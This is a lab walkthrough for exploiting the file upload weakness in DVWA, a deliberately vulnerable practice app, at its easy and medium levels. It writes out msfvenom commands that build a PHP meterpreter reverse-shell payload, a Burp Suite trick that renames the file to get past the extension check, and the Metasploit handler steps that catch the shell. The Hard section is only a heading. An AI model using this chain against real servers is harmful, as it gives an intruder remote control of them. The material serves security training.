Exploiting File Upload vulnerability

Generating payload using msfvenom (Easy)

In parrot:

`msfvenom -p php/meterpreter/reverse_tcp LHOST=[YOURIPADDRESS] LPORT=4444 -f raw`

In Kali:

`msfvenom -p payload/php/meterpreter/reverse_tcp LHOST=[YOURIPADDRESS] LPORT=4444 -f raw`

```
┌──(root㉿kali)-[/home/kali/Desktop/MSFVENOM]
└─# msfvenom -p payload/php/meterpreter/reverse_tcp/ LHOST=192.168.0.106 LPORT=4444 -f raw
```

Where:

`-p, --payload` - Payload to use

The output should give you the payload which you need to copy

Navigate to the desktop by typing `cd /home/attacker/Desktop`

Type `pluma upload.php` and paste the payload

Navigate to `http://[IPADDRESS]:8080/dvwa/login.php`, login and click File Upload

A string saying that file was successfully uploaded should pop up: `http://[IPADDRESS]:8080/dvwa/hackable/uploads/upload.php/`

Now navigate to kali/parrot and type `msfconsole`

Type `use exploit/multi/handler`

Type `set payload php/meterpreter/reverse_tcp`

Set `LHOST` as your IP, `LPORT 4444`, type `run` or `exploit`

Navigate to `http://[IPADDRESS]:8080/dvwa/hackable/uploads/upload.php`

Switch back to kali/parrot and observe that meterpreter session has been established

Generating payload using msfvenom (Medium)

Create payload the same way you did before, copy it:

`msfvenom -p php/meterpreter/reverse_tcp LHOST=[YOURIPADDRESS] LPORT=3333 -f raw`

Instead of typing `pluma upload.php` type `pluma upload.php.jpg` and paste the payload

Open burpsuite, press upload on the website and intercept the traffic

In filename change `upload.php.jpg` to `upload.php`, now forward the traffic

Now navigate to kali/parrot and type `msfconsole`

Type `use exploit/multi/handler`

Type `set payload php/meterpreter/reverse_tcp`

Set `LHOST` as your IP, `LPORT 3333`, type `run` or `exploit`

Navigate to `http://[IPADDRESS]:8080/dvwa/hackable/uploads/upload.php`

Navigate to terminal and observe that meterpreter session is established

Generating payload using msfvenom (Hard)